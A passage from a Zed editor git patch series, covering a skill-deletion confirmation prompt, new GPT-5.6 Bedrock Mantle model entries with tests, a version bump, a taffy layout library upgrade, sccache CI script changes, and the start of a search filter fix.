@@ -214,19 +221,53 @@ fn render_skill_row(
                     .icon_size(IconSize::Small)
                     .tooltip(Tooltip::text("Delete Skill"))
                     .on_click(cx.listener(
-                        move |settings_window, _event, _window, cx| {
+                        move |settings_window, _event, window, cx| {
                             let directory_path = directory_path.clone();
-                            if !settings_window
+                            if settings_window
                                 .hidden_deleted_skill_directory_paths
-                                .insert(directory_path.clone())
+                                .contains(&directory_path)
                             {
                                 return;
                             }
-                            cx.notify();
+
+                            let prompt_message =
+                                format!("Delete the {skill_scope} skill \"{skill_name}\"?");
+                            let prompt_detail = format!(
+                                "This will move {} to the trash. This skill is shared with other \
+                                 agent tools {shared_scope}, so it will no longer be available to \
+                                 them either.",
+                                directory_path.compact().display(),
+                            );
+                            let answer = window.prompt(
+                                PromptLevel::Info,
+                                &prompt_message,
+                                Some(&prompt_detail),
+                                &["Delete", "Cancel"],
+                                cx,
+                            );
 
                             let app_state = workspace::AppState::global(cx);
                             let fs = app_state.fs.clone();
                             cx.spawn(async move |settings_window, cx| {
+                                if answer.await != Ok(0) {
+                                    return;
+                                }
+
+                                let confirmed = settings_window
+                                    .update(cx, |settings_window, cx| {
+                                        let inserted = settings_window
+                                            .hidden_deleted_skill_directory_paths
+                                            .insert(directory_path.clone());
+                                        if inserted {
+                                            cx.notify();
+                                        }
+                                        inserted
+                                    })
+                                    .unwrap_or(false);
+                                if !confirmed {
+                                    return;
+                                }
+
                                 let trash_result = fs
                                     .trash(
                                         &directory_path,

From fee12a7c3f7615d9d0042a9a9ef12e3659cda0a7 Mon Sep 17 00:00:00 2001
From: Ibrahim Khan <2005ibrahimkhan@gmail.com>
Date: Wed, 15 Jul 2026 09:31:19 -0700
Subject: [PATCH 484/772] bedrock: Add GPT-5.6 Sol, Terra, and Luna Mantle
 models (#61008)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

- Adds the three GPT-5.6 models (Sol, Terra, and Luna) that OpenAI now
serves through AWS Bedrock's `bedrock-mantle` endpoint, so they can be
selected as built-in models under the Amazon Bedrock provider.
- Follows up on the native Bedrock Mantle support added in #60480.
- Addresses the feature request in
https://github.com/zed-industries/zed/discussions/61003.

## Solution

- Adds `Gpt5_6Sol`, `Gpt5_6Terra`, and `Gpt5_6Luna` variants to
`MantleModel` in `crates/bedrock/src/models.rs`, with per-model
`id`/`request_id`/`display_name` and shared capability arms.
- All three are Responses-API, `bedrock-mantle`-only models, so they
reuse the existing Mantle request/response plumbing, region gating,
bearer-token auth, and model-picker wiring (`MantleModel::iter()`) with
no other changes required.
- Metadata mirrors the AWS Bedrock model cards
([Sol](https://docs.aws.amazon.com/bedrock/latest/userguide/model-card-openai-gpt-56-sol.html),
[Terra](https://docs.aws.amazon.com/bedrock/latest/userguide/model-card-openai-gpt-56-terra.html),
[Luna](https://docs.aws.amazon.com/bedrock/latest/userguide/model-card-openai-gpt-56-luna.html)):
272K context window, image input, tool and thinking support, and
`openai.gpt-5.6-{sol,terra,luna}` request IDs.
- Updates the Amazon Bedrock section of "Use a Gateway" to mention the
GPT-5.6 family.

## Testing

- `cargo test -p bedrock` — adds `test_gpt_5_6_mantle_model_metadata`
and extends `test_builtin_mantle_models_use_responses_protocol`; all
pass.
- `cargo test -p language_models mantle` — the consumer crate compiles
and all Mantle tests pass.
- `./script/clippy -p bedrock` passes with no new warnings; docs pass
`prettier --check`.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments — N/A, no unsafe
code
- [x] The content adheres to Zed's UI standards — N/A, no UI change
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Added GPT-5.6 Sol, Terra, and Luna models to the Amazon Bedrock
provider via the `bedrock-mantle` endpoint.

---------

Co-authored-by: Anant Goel <anant@zed.dev>
---
 crates/bedrock/src/models.rs                  | 130 +++++++++++++++++-
 .../language_models/src/provider/bedrock.rs   |  15 ++
 crates/settings_content/src/language_model.rs |   2 +-
 docs/src/ai/use-a-gateway.md                  |   2 +-
 4 files changed, 140 insertions(+), 9 deletions(-)

diff --git a/crates/bedrock/src/models.rs b/crates/bedrock/src/models.rs
index cd035be819874e..9b8a25964018ca 100644
--- a/crates/bedrock/src/models.rs
+++ b/crates/bedrock/src/models.rs
@@ -834,6 +834,12 @@ pub enum MantleProtocol {
 #[cfg_attr(feature = "schemars", derive(schemars::JsonSchema))]
 #[derive(Clone, Debug, Serialize, Deserialize, PartialEq, EnumIter)]
 pub enum MantleModel {
+    #[serde(rename = "gpt-5.6-sol")]
+    Gpt5_6Sol,
+    #[serde(rename = "gpt-5.6-terra")]
+    Gpt5_6Terra,
+    #[serde(rename = "gpt-5.6-luna")]
+    Gpt5_6Luna,
     #[serde(rename = "gpt-5.5")]
     Gpt5_5,
     #[serde(rename = "gpt-5.4")]
@@ -857,6 +863,9 @@ impl MantleModel {
     /// The model id Zed uses internally (also used as the `name` in settings).
     pub fn id(&self) -> &str {
         match self {
+            Self::Gpt5_6Sol => "gpt-5.6-sol",
+            Self::Gpt5_6Terra => "gpt-5.6-terra",
+            Self::Gpt5_6Luna => "gpt-5.6-luna",
             Self::Gpt5_5 => "gpt-5.5",
             Self::Gpt5_4 => "gpt-5.4",
             Self::Grok4_3 => "grok-4.3",
@@ -867,6 +876,9 @@ impl MantleModel {
     /// The model id as expected in Bedrock Mantle request bodies, e.g. `openai.gpt-5.5`.
     pub fn request_id(&self) -> &str {
         match self {
+            Self::Gpt5_6Sol => "openai.gpt-5.6-sol",
+            Self::Gpt5_6Terra => "openai.gpt-5.6-terra",
+            Self::Gpt5_6Luna => "openai.gpt-5.6-luna",
             Self::Gpt5_5 => "openai.gpt-5.5",
             Self::Gpt5_4 => "openai.gpt-5.4",
             Self::Grok4_3 => "xai.grok-4.3",
@@ -876,6 +888,9 @@ impl MantleModel {
 
     pub fn display_name(&self) -> &str {
         match self {
+            Self::Gpt5_6Sol => "GPT-5.6 Sol",
+            Self::Gpt5_6Terra => "GPT-5.6 Terra",
+            Self::Gpt5_6Luna => "GPT-5.6 Luna",
             Self::Gpt5_5 => "GPT-5.5",
             Self::Gpt5_4 => "GPT-5.4",
             Self::Grok4_3 => "Grok 4.3",
@@ -888,14 +903,23 @@ impl MantleModel {
     /// Which OpenAI-compatible API this model must be called through.
     pub fn protocol(&self) -> MantleProtocol {
         match self {
-            Self::Gpt5_5 | Self::Gpt5_4 | Self::Grok4_3 => MantleProtocol::Responses,
+            Self::Gpt5_6Sol
+            | Self::Gpt5_6Terra
+            | Self::Gpt5_6Luna
+            | Self::Gpt5_5
+            | Self::Gpt5_4
+            | Self::Grok4_3 => MantleProtocol::Responses,
             Self::Custom { protocol, .. } => *protocol,
         }
     }
 
     pub fn max_token_count(&self) -> u64 {
         match self {
-            Self::Gpt5_5 | Self::Gpt5_4 => 272_000,
+            Self::Gpt5_6Sol
+            | Self::Gpt5_6Terra
+            | Self::Gpt5_6Luna
+            | Self::Gpt5_5
+            | Self::Gpt5_4 => 272_000,
             Self::Grok4_3 => 1_000_000,
             Self::Custom { max_tokens, .. } => *max_tokens,
         }
@@ -903,8 +927,12 @@ impl MantleModel {
 
     pub fn max_output_tokens(&self) -> u64 {
         match self {
-            // AWS doesn't document a hard cap for GPT-5.5/5.4 on Mantle.
-            Self::Gpt5_5 | Self::Gpt5_4 => 128_000,
+            // AWS doesn't document a hard cap for the GPT-5.x models on Mantle.
+            Self::Gpt5_6Sol
+            | Self::Gpt5_6Terra
+            | Self::Gpt5_6Luna
+            | Self::Gpt5_5
+            | Self::Gpt5_4 => 128_000,
             Self::Grok4_3 => 131_072,
             Self::Custom {
                 max_output_tokens, ..
@@ -914,14 +942,24 @@ impl MantleModel {
 
     pub fn supports_tools(&self) -> bool {
         match self {
-            Self::Gpt5_5 | Self::Gpt5_4 | Self::Grok4_3 => true,
+            Self::Gpt5_6Sol
+            | Self::Gpt5_6Terra
+            | Self::Gpt5_6Luna
+            | Self::Gpt5_5
+            | Self::Gpt5_4
+            | Self::Grok4_3 => true,
             Self::Custom { supports_tools, .. } => *supports_tools,
         }
     }
 
     pub fn supports_images(&self) -> bool {
         match self {
-            Self::Gpt5_5 | Self::Gpt5_4 | Self::Grok4_3 => true,
+            Self::Gpt5_6Sol
+            | Self::Gpt5_6Terra
+            | Self::Gpt5_6Luna
+            | Self::Gpt5_5
+            | Self::Gpt5_4
+            | Self::Grok4_3 => true,
             Self::Custom {
                 supports_images, ..
             } => *supports_images,
@@ -930,7 +968,12 @@ impl MantleModel {
 
     pub fn supports_thinking(&self) -> bool {
         match self {
-            Self::Gpt5_5 | Self::Gpt5_4 | Self::Grok4_3 => true,
+            Self::Gpt5_6Sol
+            | Self::Gpt5_6Terra
+            | Self::Gpt5_6Luna
+            | Self::Gpt5_5
+            | Self::Gpt5_4
+            | Self::Grok4_3 => true,
             Self::Custom {
                 supports_thinking, ..
             } => *supports_thinking,
@@ -944,11 +987,84 @@ mod tests {
 
     #[test]
     fn test_builtin_mantle_models_use_responses_protocol() {
+        assert_eq!(MantleModel::Gpt5_6Sol.protocol(), MantleProtocol::Responses);
+        assert_eq!(
+            MantleModel::Gpt5_6Terra.protocol(),
+            MantleProtocol::Responses
+        );
+        assert_eq!(
+            MantleModel::Gpt5_6Luna.protocol(),
+            MantleProtocol::Responses
+        );
         assert_eq!(MantleModel::Gpt5_5.protocol(), MantleProtocol::Responses);
         assert_eq!(MantleModel::Gpt5_4.protocol(), MantleProtocol::Responses);
         assert_eq!(MantleModel::Grok4_3.protocol(), MantleProtocol::Responses);
     }
 
+    #[test]
+    fn test_gpt_5_6_mantle_model_metadata() {
+        // Values mirror the AWS Bedrock model cards for GPT-5.6 Sol/Terra/Luna,
+        // which are served only through the `bedrock-mantle` Responses API.
+        for (model, id, request_id, display_name) in [
+            (
+                MantleModel::Gpt5_6Sol,
+                "gpt-5.6-sol",
+                "openai.gpt-5.6-sol",
+                "GPT-5.6 Sol",
+            ),
+            (
+                MantleModel::Gpt5_6Terra,
+                "gpt-5.6-terra",
+                "openai.gpt-5.6-terra",
+                "GPT-5.6 Terra",
+            ),
+            (
+                MantleModel::Gpt5_6Luna,
+                "gpt-5.6-luna",
+                "openai.gpt-5.6-luna",
+                "GPT-5.6 Luna",
+            ),
+        ] {
+            assert_eq!(model.id(), id);
+            assert_eq!(model.request_id(), request_id);
+            assert_eq!(model.display_name(), display_name);
+            assert_eq!(model.max_token_count(), 272_000);
+            assert!(model.supports_tools());
+            assert!(model.supports_images());
+            assert!(model.supports_thinking());
+        }
+    }
+
+    #[test]
+    fn test_builtin_mantle_models_have_unique_ids_and_sane_token_limits() {
+        use std::collections::HashSet;
+        use strum::IntoEnumIterator;
+
+        let mut ids = HashSet::new();
+        let mut request_ids = HashSet::new();
+        for model in
+            MantleModel::iter().filter(|model| !matches!(model, MantleModel::Custom { .. }))
+        {
+            assert!(
+                ids.insert(model.id().to_string()),
+                "duplicate MantleModel id: {}",
+                model.id()
+            );
+            assert!(
+                request_ids.insert(model.request_id().to_string()),
+                "duplicate MantleModel request_id: {}",
+                model.request_id()
+            );
+            assert!(
+                model.max_output_tokens() <= model.max_token_count(),
+                "{} has max_output_tokens ({}) greater than max_token_count ({})",
+                model.id(),
+                model.max_output_tokens(),
+                model.max_token_count()
+            );
+        }
+    }
+
     #[test]
     fn test_us_region_inference_ids() -> anyhow::Result<()> {
         assert_eq!(
diff --git a/crates/language_models/src/provider/bedrock.rs b/crates/language_models/src/provider/bedrock.rs
index f0902dd9cbcb01..b686a3d11f3148 100644
--- a/crates/language_models/src/provider/bedrock.rs
+++ b/crates/language_models/src/provider/bedrock.rs
@@ -2606,9 +2606,24 @@ mod tests {
 
     #[test]
     fn test_builtin_mantle_models_support_thinking() {
+        assert!(MantleModel::Gpt5_6Sol.supports_thinking());
+        assert!(MantleModel::Gpt5_6Terra.supports_thinking());
+        assert!(MantleModel::Gpt5_6Luna.supports_thinking());
         assert!(MantleModel::Gpt5_5.supports_thinking());
         assert!(MantleModel::Gpt5_4.supports_thinking());
         assert!(MantleModel::Grok4_3.supports_thinking());
+        assert_eq!(
+            mantle_default_reasoning_effort(&MantleModel::Gpt5_6Sol),
+            Some(ReasoningEffort::Medium)
+        );
+        assert_eq!(
+            mantle_default_reasoning_effort(&MantleModel::Gpt5_6Terra),
+            Some(ReasoningEffort::Medium)
+        );
+        assert_eq!(
+            mantle_default_reasoning_effort(&MantleModel::Gpt5_6Luna),
+            Some(ReasoningEffort::Medium)
+        );
         assert_eq!(
             mantle_default_reasoning_effort(&MantleModel::Gpt5_5),
             Some(ReasoningEffort::Medium)
diff --git a/crates/settings_content/src/language_model.rs b/crates/settings_content/src/language_model.rs
index 4203bc232af5a0..735c3d20e1609d 100644
--- a/crates/settings_content/src/language_model.rs
+++ b/crates/settings_content/src/language_model.rs
@@ -118,7 +118,7 @@ pub struct AmazonBedrockSettingsContent {
     pub available_models: Option<Vec<BedrockAvailableModel>>,
     /// Custom models served through the `bedrock-mantle` endpoint's
     /// OpenAI-compatible APIs, in addition to the built-in Mantle models
-    /// (GPT-5.5, GPT-5.4, Grok 4.3).
+    /// (GPT-5.6 Sol, GPT-5.6 Terra, GPT-5.6 Luna, GPT-5.5, GPT-5.4, Grok 4.3).
     pub mantle_available_models: Option<Vec<BedrockMantleAvailableModel>>,
     pub custom_headers: Option<HashMap<String, String>>,
     pub endpoint_url: Option<String>,
diff --git a/docs/src/ai/use-a-gateway.md b/docs/src/ai/use-a-gateway.md
index 6cd1a7a614df1c..b1e05dcb8d2406 100644
--- a/docs/src/ai/use-a-gateway.md
+++ b/docs/src/ai/use-a-gateway.md
@@ -215,7 +215,7 @@ Some AWS environments require a guardrail on every Bedrock API call. Add `guardr
 
 ### Bedrock Mantle Models {#bedrock-mantle-models}
 
-Some models, such as GPT-5.5, GPT-5.4, and Grok 4.3, aren't available through Bedrock's Converse API and are only reachable through `bedrock-mantle`, AWS's OpenAI-compatible inference endpoint. Zed routes these models through `bedrock-mantle` automatically; they appear alongside the rest of the Bedrock models in the model picker once you're authenticated, with no extra configuration required.
+Some models, such as the GPT-5.6 family (Sol, Terra, and Luna), GPT-5.5, GPT-5.4, and Grok 4.3, aren't available through Bedrock's Converse API and are only reachable through `bedrock-mantle`, AWS's OpenAI-compatible inference endpoint. Zed routes these models through `bedrock-mantle` automatically; they appear alongside the rest of the Bedrock models in the model picker once you're authenticated, with no extra configuration required.
 
 Mantle models require IAM permissions for the `bedrock-mantle` endpoint (for example via the `AmazonBedrockMantleInferenceAccess` managed policy) in addition to whatever permissions your existing Bedrock credentials already have, and `bedrock-mantle` is only available in [some AWS Regions](https://docs.aws.amazon.com/bedrock/latest/userguide/bedrock-mantle.html#regions). Zed surfaces an error naming the current Region and the supported ones if you try to use a Mantle model outside of them.
 

From dc660bfc3b3d49e4e39823d2c01743ab6ebc0ee3 Mon Sep 17 00:00:00 2001
From: "zed-zippy[bot]" <234243425+zed-zippy[bot]@users.noreply.github.com>
Date: Wed, 15 Jul 2026 17:30:36 +0000
Subject: [PATCH 485/772] Bump Zed to v1.13.0 (#61059)

Release Notes:

- N/A

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 Cargo.lock            | 2 +-
 crates/zed/Cargo.toml | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 79664e0cfd3955..76d35e51a5f817 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -23065,7 +23065,7 @@ dependencies = [
 
 [[package]]
 name = "zed"
-version = "1.12.0"
+version = "1.13.0"
 dependencies = [
  "acp_thread",
  "acp_tools",
diff --git a/crates/zed/Cargo.toml b/crates/zed/Cargo.toml
index f5f4a82dd8c1bb..346f2b4a83c92f 100644
--- a/crates/zed/Cargo.toml
+++ b/crates/zed/Cargo.toml
@@ -2,7 +2,7 @@
 description = "The fast, collaborative code editor."
 edition.workspace = true
 name = "zed"
-version = "1.12.0"
+version = "1.13.0"
 publish.workspace = true
 license = "GPL-3.0-or-later"
 authors = ["Zed Team <hi@zed.dev>"]

From 91fdd55889ab286b3e0712b44e784cbb852b9c0b Mon Sep 17 00:00:00 2001
From: Mikayla Maki <mikayla@zed.dev>
Date: Wed, 15 Jul 2026 12:47:15 -0700
Subject: [PATCH 486/772] gpui: Bump taffy from 0.10.1 to 0.12.1 (#60721)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Migrates the alignment conversions to taffy's new safe-alignment style
types: `AlignItems`/`AlignContent` and friends are now structs pairing a
keyword with a safety modifier, constructed via associated constants
(e.g. `AlignItems::START`) instead of enum variants.

The motivating change in this release is [taffy
#911](https://github.com/DioxusLabs/taffy/commit/df2663aad35801f7522f6878a0300646dfe624f7)
("More correct caching logic"), which keys taffy's per-node measure
cache on axis, parent size, and available space. Today GPUI is largely
immune to the old cache-key conflation because text answers every sizing
probe with the same width; the follow-up PR in this stack (honest
min-content text measurement) returns different sizes for different
constraints, which makes cache-key correctness a prerequisite. 0.12.1
additionally hotfixes two block layout/caching regressions in 0.12.0,
and 0.11.0's grid fix (resolving item percentages against the grid area
rather than the container) comes along as well.

Stack:
1. **This PR** — taffy 0.12.1
2. #60722 — honest min-content text measurement
3. #60723 — CSS `auto` grid tracks for table-like column sizing

Release Notes:

- N/A
---
 Cargo.lock               |  4 ++--
 crates/gpui/Cargo.toml   |  2 +-
 crates/gpui/src/style.rs | 32 ++++++++++++++++----------------
 3 files changed, 19 insertions(+), 19 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 76d35e51a5f817..56b62212f48452 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -18274,9 +18274,9 @@ dependencies = [
 
 [[package]]
 name = "taffy"
-version = "0.10.1"
+version = "0.12.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "aea22054047c16c3f34d3ac473a2170be1424b1115b2a3adcf28cfb067c88859"
+checksum = "73afc801dd6bd47529eaa7c7e90557f107527d1b7c9c7ed7d7803c7b8d0c357f"
 dependencies = [
  "arrayvec",
  "grid",
diff --git a/crates/gpui/Cargo.toml b/crates/gpui/Cargo.toml
index bcf992a5316d89..63e1814b505399 100644
--- a/crates/gpui/Cargo.toml
+++ b/crates/gpui/Cargo.toml
@@ -91,7 +91,7 @@ async-channel.workspace = true
 stacksafe.workspace = true
 strum.workspace = true
 sum_tree.workspace = true
-taffy = "=0.10.1"
+taffy = "=0.12.1"
 thiserror.workspace = true
 gpui_util.workspace = true
 hdrhistogram = { workspace = true, optional = true }
diff --git a/crates/gpui/src/style.rs b/crates/gpui/src/style.rs
index 292b80634796ca..0908a7ea4d3eab 100644
--- a/crates/gpui/src/style.rs
+++ b/crates/gpui/src/style.rs
@@ -1245,13 +1245,13 @@ pub enum Position {
 impl From<AlignItems> for taffy::style::AlignItems {
     fn from(value: AlignItems) -> Self {
         match value {
-            AlignItems::Start => Self::Start,
-            AlignItems::End => Self::End,
-            AlignItems::FlexStart => Self::FlexStart,
-            AlignItems::FlexEnd => Self::FlexEnd,
-            AlignItems::Center => Self::Center,
-            AlignItems::Baseline => Self::Baseline,
-            AlignItems::Stretch => Self::Stretch,
+            AlignItems::Start => Self::START,
+            AlignItems::End => Self::END,
+            AlignItems::FlexStart => Self::FLEX_START,
+            AlignItems::FlexEnd => Self::FLEX_END,
+            AlignItems::Center => Self::CENTER,
+            AlignItems::Baseline => Self::BASELINE,
+            AlignItems::Stretch => Self::STRETCH,
         }
     }
 }
@@ -1259,15 +1259,15 @@ impl From<AlignItems> for taffy::style::AlignItems {
 impl From<AlignContent> for taffy::style::AlignContent {
     fn from(value: AlignContent) -> Self {
         match value {
-            AlignContent::Start => Self::Start,
-            AlignContent::End => Self::End,
-            AlignContent::FlexStart => Self::FlexStart,
-            AlignContent::FlexEnd => Self::FlexEnd,
-            AlignContent::Center => Self::Center,
-            AlignContent::Stretch => Self::Stretch,
-            AlignContent::SpaceBetween => Self::SpaceBetween,
-            AlignContent::SpaceEvenly => Self::SpaceEvenly,
-            AlignContent::SpaceAround => Self::SpaceAround,
+            AlignContent::Start => Self::START,
+            AlignContent::End => Self::END,
+            AlignContent::FlexStart => Self::FLEX_START,
+            AlignContent::FlexEnd => Self::FLEX_END,
+            AlignContent::Center => Self::CENTER,
+            AlignContent::Stretch => Self::STRETCH,
+            AlignContent::SpaceBetween => Self::SPACE_BETWEEN,
+            AlignContent::SpaceEvenly => Self::SPACE_EVENLY,
+            AlignContent::SpaceAround => Self::SPACE_AROUND,
         }
     }
 }

From c75b287a0eb1ee2337c535cf3e82a6d1e5515c56 Mon Sep 17 00:00:00 2001
From: Yossi Eliaz <zozo123@users.noreply.github.com>
Date: Wed, 15 Jul 2026 23:35:16 +0300
Subject: [PATCH 487/772] Improve sccache cache reuse (#60968)

## Summary

- Upgrade sccache from 0.10.0 to 0.16.0 on macOS, Linux, and Windows CI
runners.
- Normalize the GitHub workspace with `SCCACHE_BASEDIRS` so identical
builds can reuse cache entries across checkout roots.
- Validate the cached binary version and stop an older server before
replacing it, including on Windows where a running executable cannot be
overwritten.

## Why

The setup scripts configured `SCCACHE_BASEDIR`, which sccache did not
use for cache-key path normalization. Absolute checkout paths therefore
remained part of cache keys and reduced reuse between CI workspaces.
sccache 0.16.0 supports `SCCACHE_BASEDIRS` and includes the Windows
path-normalization fix needed for the Windows runner.

## Validation

- `bash -n script/setup-sccache`
- `git diff --check`
- Upgraded a live local sccache 0.15.0 server to 0.16.0 through the
setup script.
- Compiled identical C sources from two checkout roots and observed one
cache miss followed by one cache hit.
- Confirmed that every release asset referenced by the setup scripts
exists for the supported CI runner targets.

Release Notes:

- N/A
---
 script/setup-sccache     | 28 ++++++++++++++++++++++------
 script/setup-sccache.ps1 | 36 ++++++++++++++++++++++++++++++------
 2 files changed, 52 insertions(+), 12 deletions(-)

diff --git a/script/setup-sccache b/script/setup-sccache
index fcbd1802979c50..5e5b928512307c 100755
--- a/script/setup-sccache
+++ b/script/setup-sccache
@@ -2,16 +2,32 @@
 
 set -euo pipefail
 
-SCCACHE_VERSION="v0.10.0"
+SCCACHE_VERSION="v0.16.0"
 # Use absolute path to avoid issues with working directory changes between steps
 SCCACHE_DIR="$(pwd)/target/sccache"
 
 install_sccache() {
     mkdir -p "$SCCACHE_DIR"
 
-    if [[ -x "${SCCACHE_DIR}/sccache" ]] && "${SCCACHE_DIR}/sccache" --version &>/dev/null; then
-        echo "sccache already cached: $("${SCCACHE_DIR}/sccache" --version)"
+    local expected_version="sccache ${SCCACHE_VERSION#v}"
+    local installed_version=""
+    if [[ -x "${SCCACHE_DIR}/sccache" ]]; then
+        if ! installed_version="$("${SCCACHE_DIR}/sccache" --version 2>/dev/null)"; then
+            echo "Cached sccache binary is invalid; reinstalling"
+            installed_version=""
+        fi
+    fi
+
+    if [[ "${installed_version}" == "${expected_version}" ]]; then
+        echo "sccache already cached: ${installed_version}"
     else
+        if [[ -n "${installed_version}" ]]; then
+            echo "Stopping cached ${installed_version} server before upgrading..."
+            if ! "${SCCACHE_DIR}/sccache" --stop-server &>/dev/null; then
+                echo "No running sccache server to stop"
+            fi
+        fi
+
         echo "Installing sccache ${SCCACHE_VERSION} from GitHub releases..."
 
         local os arch archive basename
@@ -78,7 +94,7 @@ configure_sccache() {
     export SCCACHE_BUCKET="${bucket}"
     export SCCACHE_REGION="auto"
     export SCCACHE_S3_KEY_PREFIX="${key_prefix}"
-    export SCCACHE_BASEDIR="${base_dir}"
+    export SCCACHE_BASEDIRS="${base_dir}"
     export AWS_ACCESS_KEY_ID="${R2_ACCESS_KEY_ID}"
     export AWS_SECRET_ACCESS_KEY="${R2_SECRET_ACCESS_KEY}"
     export RUSTC_WRAPPER="${sccache_bin}"
@@ -90,7 +106,7 @@ configure_sccache() {
             echo "SCCACHE_BUCKET=${SCCACHE_BUCKET}"
             echo "SCCACHE_REGION=${SCCACHE_REGION}"
             echo "SCCACHE_S3_KEY_PREFIX=${SCCACHE_S3_KEY_PREFIX}"
-            echo "SCCACHE_BASEDIR=${SCCACHE_BASEDIR}"
+            echo "SCCACHE_BASEDIRS=${SCCACHE_BASEDIRS}"
             echo "AWS_ACCESS_KEY_ID=${AWS_ACCESS_KEY_ID}"
             echo "AWS_SECRET_ACCESS_KEY=${AWS_SECRET_ACCESS_KEY}"
             echo "RUSTC_WRAPPER=${RUSTC_WRAPPER}"
@@ -108,7 +124,7 @@ show_config() {
     echo "SCCACHE_ENDPOINT: ${SCCACHE_ENDPOINT:-<not set>}"
     echo "SCCACHE_REGION: ${SCCACHE_REGION:-<not set>}"
     echo "SCCACHE_S3_KEY_PREFIX: ${SCCACHE_S3_KEY_PREFIX:-<not set>}"
-    echo "SCCACHE_BASEDIR: ${SCCACHE_BASEDIR:-<not set>}"
+    echo "SCCACHE_BASEDIRS: ${SCCACHE_BASEDIRS:-<not set>}"
     if [[ -n "${AWS_ACCESS_KEY_ID:-}" ]]; then
         echo "AWS_ACCESS_KEY_ID: <set, length=${#AWS_ACCESS_KEY_ID}>"
     else
diff --git a/script/setup-sccache.ps1 b/script/setup-sccache.ps1
index cde6dee1d05ea2..87d39c7535f5b8 100644
--- a/script/setup-sccache.ps1
+++ b/script/setup-sccache.ps1
@@ -1,18 +1,42 @@
 #Requires -Version 5.1
 $ErrorActionPreference = "Stop"
 
-$SCCACHE_VERSION = "v0.10.0"
+$SCCACHE_VERSION = "v0.16.0"
 $SCCACHE_DIR = "./target/sccache"
 
 function Install-Sccache {
     New-Item -ItemType Directory -Path $SCCACHE_DIR -Force | Out-Null
 
     $sccachePath = Join-Path $SCCACHE_DIR "sccache.exe"
-
+    $expectedVersion = "sccache $($SCCACHE_VERSION.Substring(1))"
+    $installedVersion = $null
     if (Test-Path $sccachePath) {
-        Write-Host "sccache already cached: $(& $sccachePath --version)"
+        try {
+            $installedVersion = & $sccachePath --version
+        }
+        catch {
+            Write-Host "Cached sccache binary is invalid; reinstalling"
+            $installedVersion = $null
+        }
+    }
+
+    if ($installedVersion -eq $expectedVersion) {
+        Write-Host "sccache already cached: $installedVersion"
     }
     else {
+        if ($installedVersion) {
+            Write-Host "Stopping cached $installedVersion server before upgrading..."
+            try {
+                & $sccachePath --stop-server *> $null
+                if ($LASTEXITCODE -ne 0) {
+                    Write-Host "No running sccache server to stop"
+                }
+            }
+            catch {
+                Write-Host "No running sccache server to stop"
+            }
+        }
+
         Write-Host "Installing sccache ${SCCACHE_VERSION} from GitHub releases..."
 
         $arch = if ([Environment]::Is64BitOperatingSystem) { "x86_64" } else { "i686" }
@@ -90,7 +114,7 @@ function Configure-Sccache {
     $env:SCCACHE_BUCKET = $bucket
     $env:SCCACHE_REGION = "auto"
     $env:SCCACHE_S3_KEY_PREFIX = $keyPrefix
-    $env:SCCACHE_BASEDIR = $baseDir
+    $env:SCCACHE_BASEDIRS = $baseDir
     $env:AWS_ACCESS_KEY_ID = $env:R2_ACCESS_KEY_ID
     $env:AWS_SECRET_ACCESS_KEY = $env:R2_SECRET_ACCESS_KEY
     $env:RUSTC_WRAPPER = $sccacheBin
@@ -102,7 +126,7 @@ function Configure-Sccache {
             "SCCACHE_BUCKET=$($env:SCCACHE_BUCKET)"
             "SCCACHE_REGION=$($env:SCCACHE_REGION)"
             "SCCACHE_S3_KEY_PREFIX=$($env:SCCACHE_S3_KEY_PREFIX)"
-            "SCCACHE_BASEDIR=$($env:SCCACHE_BASEDIR)"
+            "SCCACHE_BASEDIRS=$($env:SCCACHE_BASEDIRS)"
             "AWS_ACCESS_KEY_ID=$($env:AWS_ACCESS_KEY_ID)"
             "AWS_SECRET_ACCESS_KEY=$($env:AWS_SECRET_ACCESS_KEY)"
             "RUSTC_WRAPPER=$($env:RUSTC_WRAPPER)"
@@ -121,7 +145,7 @@ function Show-Config {
     Write-Host "SCCACHE_ENDPOINT: $($env:SCCACHE_ENDPOINT ?? '<not set>')"
     Write-Host "SCCACHE_REGION: $($env:SCCACHE_REGION ?? '<not set>')"
     Write-Host "SCCACHE_S3_KEY_PREFIX: $($env:SCCACHE_S3_KEY_PREFIX ?? '<not set>')"
-    Write-Host "SCCACHE_BASEDIR: $($env:SCCACHE_BASEDIR ?? '<not set>')"
+    Write-Host "SCCACHE_BASEDIRS: $($env:SCCACHE_BASEDIRS ?? '<not set>')"
 
     if ($env:AWS_ACCESS_KEY_ID) {
         Write-Host "AWS_ACCESS_KEY_ID: <set>"

From 1e22d1a83f8b1b7acc528d15cfab0644852380c0 Mon Sep 17 00:00:00 2001
From: daydalek <90121301+daydalek@users.noreply.github.com>
Date: Thu, 16 Jul 2026 05:15:09 +0800
Subject: [PATCH 488/772] project: Fix include filters being ignored for
 non-ASCII search in multi-worktree projects (#60538)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

`SearchQuery::text()` drops the `match_full_paths` parameter when
falling back to `escaped_regex` for non-ASCII queries, causing include
filters to match against wrong path formats in multi-worktree projects.

search works correctly after the fix
<img width="1465" height="329" alt="截屏2026-07-07 21 32 34"
src="https://github.com/user-attachments/assets/039640e6-22ae-4eb5-a9da-909fd8498b77"
/>


Fixes #60513

---

Release Notes:

- Fixed project search with non-ASCII queries incorrectly ignoring
include filters in multi-worktree projects.
---
 crates/project/src/search.rs | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/crates/project/src/search.rs b/crates/project/src/search.rs
index ccb38746a2be60..d000d8cf297d91 100644
--- a/crates/project/src/search.rs
+++ b/crates/project/src/search.rs
@@ -118,7 +118,7 @@ impl SearchQuery {
                 include_ignored,
                 files_to_include,
